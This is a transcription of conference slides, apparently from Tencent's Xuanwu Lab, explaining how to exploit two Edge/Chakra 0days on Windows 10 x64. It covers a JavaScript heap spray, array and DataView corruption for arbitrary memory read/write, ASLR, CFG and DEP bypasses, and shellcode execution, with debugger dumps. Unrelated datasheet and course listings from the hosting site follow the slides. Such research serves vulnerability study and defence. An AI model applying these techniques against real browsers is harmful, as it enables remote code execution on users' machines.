Windows 10 x64 Edge Browser 0day and exploit. exp-sky

Size: px
Start display at page:

Download "Windows 10 x64 Edge Browser 0day and exploit. exp-sky"

Transcription

1 Windows 10 x64 Edge Browser 0day and exploit exp-sky

2 Who am i? Tencent s Xuanwu Lab The security of browser Vulnerability discovery Exploit technique

3 What to do?

4 Windows 10 x64 Edge Browser 0day and exploit 1 Heap Spray 2 Fill Memory Read/Write 3 Bypass ASLR 4 Bypass DEP 5 Run Shell Code 6 0day 1 7 0day 2 8 Q&A

5 Why? 1 Heap Spray

6 1 Heap Spray var array_1 = new Array(); for(var i=0; i<(0x1000 * num); i++) { array_1[i] = [ 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c ]; }

7 1 Heap Spray memory 0:021> dq cb`bb76c cb`bb76c ff9`92e cb`a5720f cb`bb76c ` ` cb`bb76c ` a cb`bb76c cb`bb76c cb`bb76c cb`a36cb cb`bb76c a` ` a cb`bb76c ` c0c0c0c`0c0c0c0c cb`bb76c160 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c cb`bb76c170 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c cb`bb76c180 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c cb`bb76c190 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c cb`bb76c1a0 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c cb`bb76c1b0 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c cb`bb76c1c0 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c cb`bb76c1d0 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c cb`bb76c1e0 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c cb`bb76c1f0 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c

8 1 Heap Spray - Native Int Array array head 0:021> dq cb`bb76c cb`bb76c ff9`92e cb`a5720f cb`bb76c ` ` cb`bb76c ` a cb`bb76c cb`bb76c cb`bb76c cb`a36cb cb`bb76c a` ` a cb`bb76c ` c0c0c0c`0c0c0c0c cb`bb76c160 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c cb`bb76c170 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c

9 1 Heap Spray - Native Int Array array.length 0:021> dq cb`bb76c cb`bb76c ff9`92e cb`a5720f cb`bb76c ` ` cb`bb76c ` a cb`bb76c cb`bb76c cb`bb76c cb`a36cb cb`bb76c a` ` a cb`bb76c ` c0c0c0c`0c0c0c0c cb`bb76c160 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c cb`bb76c170 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c

10 1 Heap Spray - Native Int Array p_segment 0:021> dq cb`bb76c cb`bb76c ff9`92e cb`a5720f cb`bb76c ` ` cb`bb76c ` a cb`bb76c cb`bb76c cb`bb76c cb`a36cb cb`bb76c a` ` a cb`bb76c ` c0c0c0c`0c0c0c0c cb`bb76c160 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c cb`bb76c170 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c

11 1 Heap Spray - Native Int Array 0:021> dq cb`bb76c100 array segment cb`bb76c ff9`92e cb`a5720f cb`bb76c ` ` cb`bb76c ` a cb`bb76c cb`bb76c cb`bb76c cb`a36cb cb`bb76c a` ` a cb`bb76c ` c0c0c0c`0c0c0c0c cb`bb76c160 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c cb`bb76c170 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c

12 1 Heap Spray - Native Int Array 0:021> dq cb`bb76c100 segment.size segment.length cb`bb76c ff9`92e cb`a5720f cb`bb76c ` ` cb`bb76c ` a cb`bb76c cb`bb76c cb`bb76c cb`a36cb cb`bb76c a` ` a cb`bb76c ` c0c0c0c`0c0c0c0c cb`bb76c160 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c cb`bb76c170 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c

13 1 Heap Spray

14 Windows 10 x64 Edge Browser 0day and exploit 1 Heap Spray 2 Fill Memory Read/Write 3 Bypass ASLR 4 Bypass DEP 5 Run Shell Code 6 0day 1 7 0day 2 8 Q&A

15 Why? 2 Fill Memory Read/Write

16 2 Fill Memory Read/Write Write any data?

17 2 Fill Memory Read/Write - Native Int Array array_1[0] = 0x ; array_1[0] = 0xffffffff; data < 0x ? 0:020> u poi(000002b4`4445c200) chakra!js::javascriptarray::`vftable': 0:020> dq b4`4445c b4`4445c ffe`24641cd b4`2c320f b4`4445c ` ` b4`4445c ` a b4`2c613c b4`4445c b4`2c613c ` b4`4445c a` ` a b4`4445c ` c0c0c0c`0c0c0c0c b4`4445c260 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c 0:020> dd b4`2c613c b4`2c613c a b b4`2c613c be1c b4`2c613c80 ffe00000 be13ffff 0c0c0c0c b4`2c613c90 0c0c0c0c c0c0c0c b4`2c613ca0 0c0c0c0c c0c0c0c

18 2 Fill Memory Read/Write - Native Int Array array_1[0] = 0x ; array_1[0]++;? array_1[0]--;

19 2 Fill Memory Read/Write - Native Int Array data < 0x ? array_1[0] = 0; 0:021> dq cb`bb76c cb`bb76c ff9`92e cb`a5720f cb`bb76c ` ` cb`bb76c ` a cb`bb76c cb`bb76c cb`bb76c cb`a36cb cb`bb76c a` ` a cb`bb76c ` c0c0c0c` cb`bb76c160 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c cb`bb76c170 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c

20 2 Fill Memory Read/Write - Native Int Array data < 0x ? array_1[0] = 0; array_1[0] -= 1; 0:021> dq cb`bb76c cb`bb76c ff9`92e cb`a5720f cb`bb76c ` ` cb`bb76c ` a cb`bb76c cb`bb76c cb`bb76c cb`a36cb cb`bb76c a` ` a cb`bb76c ` c0c0c0c`ffffffff cb`bb76c160 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c cb`bb76c170 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c

21 2 Fill Memory Read/Write - Native Int Array array_1[0] = 0xbb76c140; [ 0x x7fffffff ] array_1[0] = 0; array_1[0] -= 1; array_1[0] -= (0xffffffff-0xbb76c140); [ 0x xffffffff ] 0:021> dq cb`bb76c cb`bb76c ff9`92e cb`a5720f cb`bb76c ` ` cb`bb76c ` a cb`bb76c cb`bb76c cb`bb76c cb`a36cb cb`bb76c a` ` a cb`bb76c ` c0c0c0c`0c0c0c0c cb`bb76c160 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c cb`bb76c170 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c

22 2 Fill Memory Read/Write - Native Int Array Out of bound Memory Read/Write

23 2 Fill Memory Read/Write - Native Int Array array.length segment.length 0:021> dq cb`bb76c100 segment.size cb`bb76c ff9`92e cb`a5720f cb`bb76c ` ` cb`bb76c `ffffffff cb`bb76c cb`bb76c cb`bb76c cb`a36cb cb`bb76c140 ffffffff` `ffffffff cb`bb76c ` c0c0c0c`0c0c0c0c cb`bb76c160 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c cb`bb76c170 0c0c0c0c`0c0c0c0c 0c0c0c0c`0c0c0c0c

24 2 Fill Memory Read/Write - Native Int Array memory edit array.length segment.size segment.length out of bound memory read/write

25 2 Fill Memory Read/Write Fill Memory Read/Write?

26 2 Fill Memory Read/Write - DataView var array_buffer = new ArrayBuffer(0x10); var data_view = new DataView(array_buffer, 0, array_buffer.bytelength); 0:020> u poi( `f7b37100) chakra!js::dataview::`vftable': bytelength data_buffer 0:020> dq `f7b `f7b ffe`2470e `f `f7b ` ` `f7b ` `f79d3c `f7b ` `fccc5440

27 2 Fill Memory Read/Write - DataView NativeIntArray edit data_view.bytelength = 0xffffffff; NativeIntArray edit data_view.data_buffer.high = 0x ; NativeIntArray edit data_view.data_buffer.low = 0x ; 0:020> u poi( `f7b37100) chakra!js::dataview::`vftable': bytelength data_buffer 0:020> dq `f7b `f7b ffe`2470e `f `f7b ` ` `f7b `ffffffff `f79d3c `f7b ` `

28 2 Fill Memory Read/Write - DataView data_view.setuint32(0x , 0xffffffff, true); 0:020> u poi( `f7b37100) chakra!js::dataview::`vftable': 0:020> dq `f7b `f7b ffe`2470e `f `f7b ` ` `f7b `ffffffff `f79d3c `f7b ` ` ` ffffffff` `

29 2 Fill Memory Read/Write - DataView data = data_view.getuint32(0x , true); 0:020> u poi( `f7b37100) chakra!js::dataview::`vftable': 0:020> dq `f7b `f7b ffe`2470e `f `f7b ` ` `f7b `ffffffff `f79d3c `f7b ` ` ` ffffffff` `

30 2 Fill Memory Read/Write

31 Windows 10 x64 Edge Browser 0day and exploit 1 Heap Spray 2 Fill Memory Read/Write 3 Bypass ASLR 4 Bypass DEP 5 Run Shell Code 6 0day 1 7 0day 2 8 Q&A

32 Why? 3 Bypass ASLR

33 array_2[0] = data_view; 3 Bypass ASLR 0:020> u poi( a`0f6fc200) chakra!js::javascriptarray::`vftable': 0:020> dq a`0f6fc a`0f6fc ffe`24641cd `f7920f a`0f6fc ` ` a`0f6fc ` a a`b28dc a`0f6fc a`b28dc ` a`0f6fc a` ` a 0:020> dq a`b28dc170 //segment a`b28dc a` ` b a`b28dc ` `f7b a`b28dc `0c0c0c0c `0c0c0c0c 0:020> u poi( `f7b37100) chakra!js::dataview::`vftable': 0:020> dq `f7b `f7b ffe`2470e `f

34 2 Bypass ASLR array get array_2[0] = object; segment get object

35 3 Bypass ASLR

36 Windows 10 x64 Edge Browser 0day and exploit 1 Heap Spray 2 Fill Memory Read/Write 3 Bypass ASLR 4 Bypass DEP 5 Run Shell Code 6 0day 1 7 0day 2 8 Q&A

37 Why? 4 Bypass DEP

38 4 Bypass DEP get shell code address call VirtualProtect run shell code

39 4 Bypass DEP - CFG mov call eax, [edi] dword ptr [eax+0a4h] mov mov mov call mov call eax, [edi] esi, [eax+0a4h] ; esi = virtual function ecx, esi ds: guard_check_icall_fptr //ntdll!ldrpvalidateusercalltarget ecx, edi esi

40 4 Bypass DEP - CFG bitmap index offset : data [0x0077b960] 0x01dee58c : 0x [0x0077b964] 0x01dee590 : 0x [0x0077b968] 0x01dee594 : 0x bt : 0x &0x400!= = 0x = 0x0a = 10 function address : 0x77b x77b96450 : [ ]

41 4 Bypass DEP int Memory::SmallHeapBlockT<SmallAllocationBlockAttributes>::ClearPageHeapState (void *p_struct) { DWORD old_protect = 0; QWORD ret; } if ( p_struct->buffer ) { ret = VirtualProtect(p_struct->buffer, 0x1000, p_struct->new_protect, &old_protect); } return ret;

42 4 Bypass DEP length shell code 0:033> r rax= d rbx= fe5e2f1b0 rcx= fe5bbc020 rdx= rsi= a840 rdi= e10c6040 rip=00007ffa1e3446ee rsp= e4b440 rbp=00007ffa1e22cb33 r8= r9= e4b460 r10= r11=00007ffa1fa91908 r12=00007ffa1f1b7f20 r13= f6ebfda8 r14=00007ffa1dfb0000 r15=ffff iopl=0 nv up ei pl zr na po nc cs=0033 ss=002b new protect ds=002b es=002b fs=0053 old gs=002b protect efl= chakra!memory::smallheapblockt<mediumallocationblockattributes>::clearpageheapstate+0x2a: 00007ffa`1e3446ee ff15ac0b1b00 call qword ptr [chakra!_imp_virtualprotect] //shell code 0:033> u rcx f`e5bbc nop

43 4 Bypass DEP 0:033>!address f`e5bbc020 Usage: <unknown> Base Address: f`e5bb0000 End Address: f`e5bbf000 Region Size: `0000f000 ( kb) State: MEM_COMMIT Protect: PAGE_READWRITE 0:033>!address f`e5bbc020 Usage: <unknown> Base Address: f`e5bb0000 End Address: f`e5bbf000 Region Size: `0000f000 ( kb) State: MEM_COMMIT Protect: PAGE_EXECUTE_READWRITE call VirtuaProtect

44 4 Bypass DEP

45 Windows 10 x64 Edge Browser 0day and exploit 1 Heap Spray 2 Fill Memory Read/Write 3 Bypass ASLR 4 Bypass DEP 5 Run Shell Code 6 0day 1 7 0day 2 8 Q&A

46 5 Run Shell Code 0:033> g Breakpoint 2 hit f`e5bbc nop 0:033> g

47 0day

48 Windows 10 x64 Edge Browser 0day and exploit 1 Heap Spray 2 Fill Memory Read/Write 3 Bypass ASLR 4 Bypass DEP 5 Run Shell Code 6 0day 1 7 0day 2 8 Q&A

49 6 0day 1 0:009> r rax= rbx= rcx= rdx=000001b39fef82c0 rsi= rdi= rip=00007ffe7a34eae9 rsp= rbp= f1 r8=000001bba4e7fd18 r9=000001b39fe943d0 r10=00007ffe7634ca90 r11= e0 r12=000001bba19afde0 r13=00007ffe92fe77d0 r14=00007ffe92fe77d0 r15= c iopl=0 nv up ei pl nz na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl= cmp byte ptr [rcx],0 ds: ` =?? or dword ptr [rbx+60h], 0FFFFFFFFh //memory write

50 6 0day 1 memory edit NativeIntArray size out of bound memory read/write fill memory read/write

51 6 No1. 0day demo

52 Windows 10 x64 Edge Browser 0day and exploit 1 Heap Spray 2 Fill Memory Read/Write 3 Bypass ASLR 4 Bypass DEP 5 Run Shell Code 6 0day 1 7 0day 2 8 Q&A

53 7 0day 2 0:010> r rax= rbx= c4a8fcef0 rcx= d9c30340 rdx= rsi= rdi= c4a8fca00 rip=00007ffd1d2ce6b1 rsp= c4a8fd130 rbp= r8= d9ce5052 r9= d9ce5052 r10= d9ce5050 r11= c4a8fd040 r12= r13= d2 r14= d999dae0 r15= ee iopl=0 nv up ei pl nz na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl= mov rsi,qword ptr [rax] ds: ` mov dword ptr [rsi+30h],1 //memory write

54 7 0day 2 memory edit NativeIntArray segment pointer out of bound memory read/write fill memory read/write

55 7 No2. 0day demo

56 Windows 10 x64 Edge Browser 0day and exploit 1 Heap Spray 2 Fill Memory Read/Write 3 Bypass ASLR 4 Bypass DEP 5 Run Shell Code 6 No.1 0day 7 No.2 0day 8 Q&A

57 Windows 10 x64 Edge Browser 0day and exploit Q&A

EE 6502 UNIT-II PROGRAMMING OF 8085 MICROPROCESSOR. Prepared by S.Sayeekumar, AP/RMDEEE

EE 6502 UNIT-II PROGRAMMING OF 8085 MICROPROCESSOR. Prepared by S.Sayeekumar, AP/RMDEEE EE 6502 UNIT-II PROGRAMMING OF 8085 MICROPROCESSOR Prepared by S.Sayeekumar, AP/RMDEEE 7 12 15 PSW (Program Status word) - Flag unaffected * affected 0 reset 1 set S Sign

More information

Storage and Memory Hierarchy CS165

Storage and Memory Hierarchy CS165 Storage and Memory Hierarchy CS165 What is the memory hierarchy? L1

More information

Warped-Compression: Enabling Power Efficient GPUs through Register Compression

Warped-Compression: Enabling Power Efficient GPUs through Register Compression WarpedCompression: Enabling Power Efficient GPUs through Register Compression Sangpil Lee, Keunsoo Kim, Won Woo Ro (Yonsei University*) Gunjae Koo, Hyeran Jeon, Murali Annavaram (USC) (*Work done while

More information

DS1643/DS1643P Nonvolatile Timekeeping RAM

DS1643/DS1643P Nonvolatile Timekeeping RAM Nonvolatile Timekeeping RAM www.dalsemi.com FEATURES Integrated NV SRAM, real time clock, crystal, power-fail control circuit and lithium energy source Clock registers are accessed identically to the static

More information

128Mb Synchronous DRAM. Features High Performance: Description. REV 1.0 May, 2001 NT5SV32M4CT NT5SV16M8CT NT5SV8M16CT

128Mb Synchronous DRAM. Features High Performance: Description. REV 1.0 May, 2001 NT5SV32M4CT NT5SV16M8CT NT5SV8M16CT Features High Performance: f Clock Frequency -7K 3 CL=2-75B, CL=3-8B, CL=2 Single Pulsed RAS Interface Fully Synchronous to Positive Clock Edge Four Banks controlled by BS0/BS1 (Bank Select) Units 133

More information

APPENDIX A Instruction Set. Op Code. T states Flags Main Effects. Instructions

APPENDIX A Instruction Set. Op Code. T states Flags Main Effects. Instructions APPENDIX A 8085 Instruction Set Instructions ACI byte CE 7 ALL A A + CY + byte ADC A 8F 4 ALL A A + A + CY ADC B 88 4 ALL A A + B + CY ADC C 89 4 ALL A A + C + CY ADC D 8A 4 ALL A A + D + CY ADC E 8B 4

More information

DS1644/DS1644P Nonvolatile Timekeeping RAM

DS1644/DS1644P Nonvolatile Timekeeping RAM Nonvolatile Timekeeping RAM www.maxim-ic.com FEATURES Integrated NV SRAM, Real-Time Clock, Crystal, Power-Fail Control Circuit and Lithium Energy Source Clock Registers are Accessed Identically to the

More information

1. Historical background of I2C I2C from a hardware perspective Bus Architecture The Basic I2C Protocol...

1. Historical background of I2C I2C from a hardware perspective Bus Architecture The Basic I2C Protocol... Table of contents CONTENTS 1. Historical background of I2C... 16 2. I2C from a hardware perspective... 18 3. Bus Architecture... 22 3.1. Basic Terminology... 23 4. The Basic I2C Protocol... 24 4.1. Flowchart...

More information

EtherNet/IP EtherCAT POWERLINK PROFINET Modbus/TCP

EtherNet/IP EtherCAT POWERLINK PROFINET Modbus/TCP We are pleased to announce the release and availability of the MI/O-67 Fieldbus Platform. Our initial release includes several different protocol options in addition to several modules to ensure a complete

More information

RAM-Type Interface for Embedded User Flash Memory

RAM-Type Interface for Embedded User Flash Memory June 2012 Introduction Reference Design RD1126 MachXO2-640/U and higher density devices provide a User Flash Memory (UFM) block, which can be used for a variety of applications including PROM data storage,

More information

Memory Analysis RECon2010. Looking In The Eye Of The Bits By Assaf Nativ

Memory Analysis RECon2010. Looking In The Eye Of The Bits By Assaf Nativ Memory Analysis RECon21 Looking In The Eye Of The Bits By Assaf Nativ Who am I? Wandering in memory land 1 2 3 4 5 6 7 8 9 A B C D E F 1 11 12 13 14 A 11 FF 1F FF 1F FF 1F FF 18F FF 1F FF 1F FF 1F FF

More information

SDRAM AS4SD8M Mb: 8 Meg x 16 SDRAM Synchronous DRAM Memory. PIN ASSIGNMENT (Top View)

SDRAM AS4SD8M Mb: 8 Meg x 16 SDRAM Synchronous DRAM Memory. PIN ASSIGNMENT (Top View) 128 Mb: 8 Meg x 16 SDRAM Synchronous DRAM Memory FEATURES Full Military temp (-55 C to 125 C) processing available Configuration: 8 Meg x 16 (2 Meg x 16 x 4 banks) Fully synchronous; all signals registered

More information

CSci 127: Introduction to Computer Science

CSci 127: Introduction to Computer Science CSci 127: Introduction to Computer Science hunter.cuny.edu/csci CSci 127 (Hunter) Lecture 3 13 September 2017 1 / 34 Announcements Welcome back to Assembly Hall, and thank you for your patience in our

More information

MAC VALVES, INC. Rev. T

MAC VALVES, INC. Rev. T REVISION LEVEL DATE RELEASED CHANGE DESCRIPTION ECN NUMBER P.E. APPROVAL P.D APPROVAL A 5-11-95 ENGINEERING RELEASE 12727 EPJ B 1-15-96 ADDED 35 SERIES 13228 EPJ ADDED MOD 2938 TO 6500 SERIES, MODS 2910

More information

mith College Computer Science CSC231 Assembly Fall 2017 Week #4 Dominique Thiébaut

mith College Computer Science CSC231 Assembly Fall 2017 Week #4 Dominique Thiébaut mith College Computer Science CSC231 Assembly Fall 2017 Week #4 Dominique Thiébaut dthiebaut@smith.edu How are Integers Stored in Memory? 120 11F 11E 11D 11C 11B 11A 119 118 117 116 115 114 113 112 111

More information

ACS-2 Long and Short Term Endurance Indicators

ACS-2 Long and Short Term Endurance Indicators ACS-2 Long and Short Term Endurance Indicators February 13, 2009 Revision 0 Technical Editor: Jim Hatfield 389 Disc Drive Longmont, CO 80503 720-684-2120 James.C.Hatfield@Seagate.com Long and Short Term

More information

CMPEN 411 VLSI Digital Circuits Spring Lecture 22: Memery, ROM

CMPEN 411 VLSI Digital Circuits Spring Lecture 22: Memery, ROM CMPEN 411 VLSI Digital Circuits Spring 2012 Lecture 22: Memery, ROM [Adapted from Rabaey s Digital Integrated Circuits, Second Edition, 2003 J. Rabaey, A. Chandrakasan, B. Nikolic] Sp12 CMPEN 411 L22 S.1

More information

Mobile SDRAM AVM121632S- 32M X 16 bit AVM123216S- 16M X 32 bit

Mobile SDRAM AVM121632S- 32M X 16 bit AVM123216S- 16M X 32 bit Mobile SDRAM AVM2632S- 32M X 6 bit AVM2326S- 6M X 32 bit Features V DD /V D =.7.95V Fully synchronous; all signals registered on positive edge of system clock Internal, pipelined operation; column address

More information

Direct solenoid and solenoid pilot operated valves

Direct solenoid and solenoid pilot operated valves Direct solenoid and solenoid pilot operated valves Series ISO Individual mounting Valve only No base non plug-in Conform to ISO 99/ Valve only No base plug-in Conform to ISO 99/ Manifold mounting Valve

More information

Enhancing Energy Efficiency of Database Applications Using SSDs

Enhancing Energy Efficiency of Database Applications Using SSDs Seminar Energy-Efficient Databases 29.06.2011 Enhancing Energy Efficiency of Database Applications Using SSDs Felix Martin Schuhknecht Motivation vs. Energy-Efficiency Seminar 29.06.2011 Felix Martin Schuhknecht

More information

Direct solenoid and solenoid pilot operated valves

Direct solenoid and solenoid pilot operated valves Direct solenoid and solenoid pilot operated valves Individual mounting Series Inline Sub-base non plug-in 4 6 Air return Manual operator Solenoid 4-way pilot with balanced poppet Bonded spool 2 7 8 2 67

More information

FedEx Express Rates. Effective Sept. 15, 2008

FedEx Express Rates. Effective Sept. 15, 2008 FedEx Express Rates Effective Sept. 15, 2008 Table of Contents FedEx Express Intra-Canada Rates 2 Postal Code Index 3 FedEx First Overnight 4 FedEx Intra-Canada Index 12 FedEx Priority Overnight 14 FedEx

More information

Background Theory. 1 Problems. CS 7A - Fall CS007A: Knight s Path Problems Part 2. Due 11/25/15

Background Theory. 1 Problems. CS 7A - Fall CS007A: Knight s Path Problems Part 2. Due 11/25/15 CS 7A - Fall 2015 - CS007A: Knight s Path Problems Part 2. Due 11/25/15 Background Theory Now that you have (it is hoped) developed working code for exploring knight s tours using a human decision-maker,

More information

Direct-Mapped Cache Terminology. Caching Terminology. TIO Dan s great cache mnemonic. UCB CS61C : Machine Structures

Direct-Mapped Cache Terminology. Caching Terminology. TIO Dan s great cache mnemonic. UCB CS61C : Machine Structures Lecturer SOE Dan Garcia inst.eecs.berkeley.edu/~cs61c UCB CS61C : Machine Structures Lecture 31 Caches II 2008-04-12 HP has begun testing research prototypes of a novel non-volatile memory element, the

More information

Bringing ARB_gpu_shader_fp64 to Intel GPUs

Bringing ARB_gpu_shader_fp64 to Intel GPUs Bringing ARB_gpu_shader_fp64 to Intel GPUs Iago Toral Quiroga XDC 2016 Helsinki, Finland ARB_gpu_shader_fp64 Overview Scope Intel implementation NIR i965 Current status Contents ARB_gpu_shader_fp64

More information

DS1743/DS1743P Y2K-Compliant, Nonvolatile Timekeeping RAMs

DS1743/DS1743P Y2K-Compliant, Nonvolatile Timekeeping RAMs www.maxim-ic.com FEATURES Integrated NV SRAM, Real-Time Clock, Crystal, Power-Fail Control Circuit, and Lithium Energy Source Clock Registers are Accessed Identically to the Static RAM. These Registers

More information

EM828164PAY-xxUx. Document Title. Revision History. 1 Rev M: 8M x 16 Mobile SDRAM. 128M: 8M x 16 Mobile SDRAM. Revision No.

EM828164PAY-xxUx. Document Title. Revision History. 1 Rev M: 8M x 16 Mobile SDRAM. 128M: 8M x 16 Mobile SDRAM. Revision No. Document Title Revision History Revision No. Date History 0.0 Oct 15, 2009 -. Initial Draft 0.1 Dec 23, 2009 -. Product code changed to EM828164PAY-xxUx 0.2 Jun 7, 2010 -. toh updated in Table8 OPERATING

More information

HYB25D256400/800AT 256-MBit Double Data Rata SDRAM

HYB25D256400/800AT 256-MBit Double Data Rata SDRAM 256-MBit Double Data Rata SDRAM Features CAS Latency and Frequency Maximum Operating Frequency (MHz) CAS Latency DDR266A -7 DDR200-8 2 133 100 2.5 143 125 Double data rate architecture: two data transfers

More information

Programming Languages (CS 550)

Programming Languages (CS 550) Programming Languages (CS 550) Mini Language Compiler Jeremy R. Johnson 1 Introduction Objective: To illustrate how to map Mini Language instructions to RAL instructions. To do this in a systematic way

More information

DS1230Y/AB 256k Nonvolatile SRAM

DS1230Y/AB 256k Nonvolatile SRAM www.maxim-ic.com FEATURES 10 years minimum data retention in the absence of external power Data is automatically protected during power loss Replaces 32k x 8 volatile static RAM, EEPROM or Flash memory

More information

Ordering Information. Row Address. Row Decoder. Buffer & Refresh Counter. Column. Address. Buffer & Refresh Counter

Ordering Information. Row Address. Row Decoder. Buffer & Refresh Counter. Column. Address. Buffer & Refresh Counter Mobile DDR SDRAM Features JEDEC Standard Internal pipelined double-data-rate architecture, two data access per clock cycle Bi-directional data strobe () No DLL; to is not synchronized. Differential clock

More information

The Return of Robin Hood vs Cisco ASA. OffensiveCon February 2018

The Return of Robin Hood vs Cisco ASA. OffensiveCon February 2018 The Return of Robin Hood vs Cisco ASA OffensiveCon February 2018 Speaker Cedric Halbronn (@saidelike) Previously worked at Sogeti ESEC Lab Currently in Exploit Development Group (EDG) at NCC Group Vulnerability

More information

To read more. CS 6354: Tomasulo. Intel Skylake. Scheduling. How can we reorder instructions? Without changing the answer.

To read more. CS 6354: Tomasulo. Intel Skylake. Scheduling. How can we reorder instructions? Without changing the answer. To read more CS 6354: Tomasulo 21 September 2016 This day s paper: Tomasulo, An Efficient Algorithm for Exploiting Multiple Arithmetic Units Supplementary readings: Hennessy and Patterson, Computer Architecture:

More information

JANDS DD-8. Operating Manual. Version 2.0

JANDS DD-8. Operating Manual. Version 2.0 JANDS DD-8 O p t o - I s o l a t e d D M X S p l i t t e r Operating Manual Version.0 JANDS DD-8 DMX SPLITTER EMC COMPLIANCE This product is approved for use in Europe and Australia/New Zealand and conforms

More information

Modbus Communications

Modbus Communications Modbus Communications For Models PVI 14- Revision B 2017, Yaskawa - Solectria Solar Table of Contents 1. Yaskawa - Solectria Solar PVI 14- Modbus... 3 1.1 Introduction... 3 1.2 Abbreviations... 3 1.3 Modbus

More information

128Mb Synchronous DRAM Specification

128Mb Synchronous DRAM Specification 128Mb Synchronous DRAM Specification A3V28S40JTP Zentel Electronics Corp. I Revision 1.0 General Description A3V28S40JTP is organized as 4-bank x 2,097,154-word x 16-bit Synchronous DRAM with LVTTL interface.

More information

Specifications 54 Series Valve

Specifications 54 Series Valve Specifications 54 Series Valve Fluids: Compressed Air or Inert Gases Lubrication: Not required. If used, select a medium aniline point lubricant (between 180ºF and 210ºF) Safe Operating Temperature Range:

More information

128Mb Synchronous DRAM Specification

128Mb Synchronous DRAM Specification 128Mb Synchronous DRAM Specification A3V28S40JTP/JBF Zentel Electronics Corp. Revision 1.1 28M Single Data Rate Synchronous DRAM General Description A3V28S40JTP/JBF is organized as 4-bank x 2,097,154-word

More information

PMS306416B. Document Title. Revision History. 64Mb (4Mb x 16) SDRAM Datasheet

PMS306416B. Document Title. Revision History. 64Mb (4Mb x 16) SDRAM Datasheet Document Title 64Mb (4Mb x 16) SDRAM Datasheet Revision History Revision Date Page Notes 1.0 November, 2010 Original 1.1 August, 2014 7 Idd spec revision This document is a general product description

More information

External Pilot Models 5 Sgl. Sol. Plug-In to Left. Internal Pilot Models 1 Sgl. Sol. Plug-In to Left. 4 Dbl. Sol. Plug-In to Right

External Pilot Models 5 Sgl. Sol. Plug-In to Left. Internal Pilot Models 1 Sgl. Sol. Plug-In to Left. 4 Dbl. Sol. Plug-In to Right How to Order 93 Series MAConnect 93 A - X X X - X X X - XX - D XX P - X XX Pilot Valve Options (see below) Valve Function 0 Base Only A Sgl. Oper. Sgl. Press. B Dbl. Oper. Sgl. Press. C Sgl. Oper. Dual

More information

SSR SSR SSR SSR

SSR SSR SSR SSR DMX 52 Page DMX52 decoder firing board module 20 VAC reference Input 2 3 4 The Thyristor Firing board is compatible withdmx52 control standard 4 DMX52 triggers 2 3 4 - +- +- +- + The can trigger control

More information

Table of contents. JVL_PN_ex1 PLC_1 [IM151-8 PN/DP CPU] 4-1. JVL_PN_ex1 1/16/2012

Table of contents. JVL_PN_ex1 PLC_1 [IM151-8 PN/DP CPU] 4-1. JVL_PN_ex1 1/16/2012 Table of contents PL_1 [IM151-8 PN/P PU] 4-1 Program blocks Main [O1] 5-1 Req_Read_ [6] 6-1 Req_Write_ [4] 7-1 Resp_Read_ [5] 8-1 System blocks Program resources 9-1 Technology objects 10-1 xternal source

More information

SDRAM DEVICE OPERATION

SDRAM DEVICE OPERATION POWER UP SEQUENCE SDRAM must be initialized with the proper power-up sequence to the following (JEDEC Standard 21C 3.11.5.4): 1. Apply power and start clock. Attempt to maintain a NOP condition at the

More information

128Mb DDR SDRAM. Features. Description. REV 1.1 Oct, 2006

128Mb DDR SDRAM. Features. Description. REV 1.1 Oct, 2006 Features Double data rate architecture: two data transfers per clock cycle Bidirectional data strobe () is transmitted and received with data, to be used in capturing data at the receiver is edge-aligned

More information

PUMPS FOR INDUSTRY. The Vertical Pump Specialists CONTENTS: Introduction & User List. Product Overview. Vertical Process Pumps...

